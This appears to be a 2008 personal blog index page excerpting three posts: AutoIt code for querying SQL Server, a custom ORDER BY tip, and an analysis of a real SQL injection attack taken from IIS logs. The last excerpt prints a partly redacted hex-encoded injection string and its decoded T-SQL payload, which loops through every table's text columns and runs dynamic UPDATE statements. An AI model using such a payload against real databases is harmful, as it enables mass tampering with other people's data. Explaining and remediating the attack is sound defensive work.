AutoIT - Connecting to SQL Server.

July 19th, 2008 | Posted in My Life, Programming, SQL/ETL | 2 Comments

Playing around with AutoIt take me to next level of coding. :) This time I need to automate a process where in a normal situation it will involve a few people to make the whole process completed.

One of the process need a connection to MS-SQL ,execute query and and get the results. As sharing is caring, here I share how to connect to SQL-Server using AutoIt.

$conn = ObjCreate( "ADODB.Connection" )
$DSN = "DRIVER={SQL Server};SERVER=MySvr;DATABASE=MyDB;UID=MyUser;PWD=MyPwd;"
$conn.Open($DSN)
$rs = ObjCreate( "ADODB.RecordSet" )
$rs.Open( "SELECT @@VERSION AS myVersion", $conn )
MsgBox(0, "AutoIT-SQL Result", "Value = " & $rs.Fields( "myVersion" ).Value )
$conn.close

The code will produce a msg box like below.

autoIT SQL Result

Here you go…it’s only the basic code. You can do a lot more than this. :)

Have a nice weekend.

p/s: I have a job to do this weekend…..so..not a very nice weeked for me.adoii….

[Ask] [Bloglines] [del.icio.us] [Digg] [Furl] [StumbleUpon] [Technorati] More »

If you're new here, you may want to subscribe to my RSS feed or get my latest post directly in your mailbox. Thanks for visiting !

MSSQL - ORDER BY with a specific words

July 7th, 2008 | Posted in SQL/ETL | 6 Comments

In SQL,the only option for Order by is either using Ascending or Descending. Sometimes,these two option is not possible to order the item based on your needs.

For example,let say you have a data like below and want to order by Type - Open then Close then Suspended.

Problem          Type
---------      --------
Problem 1      Suspended
Problem 2      Suspended
Problem 3      Open
Problem 4      Open
Problem 5      Close
Problem 6      Close

You cannot get the expected result based on normal Ascending or Descending. Then, how you can solve this problem using a normal SQL query ? Well, the solution is pretty much easy actually.

Read the rest of this entry »

[Ask] [Bloglines] [del.icio.us] [Digg] [Furl] [StumbleUpon] [Technorati] More »

SQL Injection Attack using T-SQL and HEXADECIMAL

July 5th, 2008 | Posted in :Else: | 4 Comments

SQL Injection occurs when an attacker is able to insert a series of SQL statements into a ‘query’ by manipulating data input into an application. This can be either using a web form or URL query string.

Last week, I found the sample of real case where the attacker used T-SQL combining with HEX values to do the injection.

In this post i’ll show how the SQL injection look like and the solution to revert back the effected data based on the attacked. What I can say is that, the attacker is quite a ‘nice’ person since the SQL query did not do any big harm to the data itself.

From IIS log file, below are the attacked look like. Note that all the ‘XXX’ are not the original values.

XXXX.asp?XXXXX@;DECLARE%20@S%20VARCHAR(4000);SET%20@S=

CAST(0×4445434C4XXXXXXXXXXXXX72736F7220%20

AS%20VARCHAR(4000));EXEC(@S);–

Based on above query string,the original values that executed will be like below.

DECLARE @T VARCHAR(255),@C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR
SELECT a.name,b.name
FROM sysobjects a,syscolumns b
WHERE a.id=b.id AND a.xtype='u' AND
(b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) 

OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''''') 

FETCH NEXT FROM Table_Cursor INTO @T,@C 

END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

That is very powerful query whereby it will get all the tables in the database using sysobjects and look for field which are NTEXT,TEXT,NVARCHAR,VARCHAR.

Read the rest of this entry »

[Ask] [Bloglines] [del.icio.us] [Digg] [Furl] [StumbleUpon] [Technorati] More »
Page 1 of 4312345»...Last »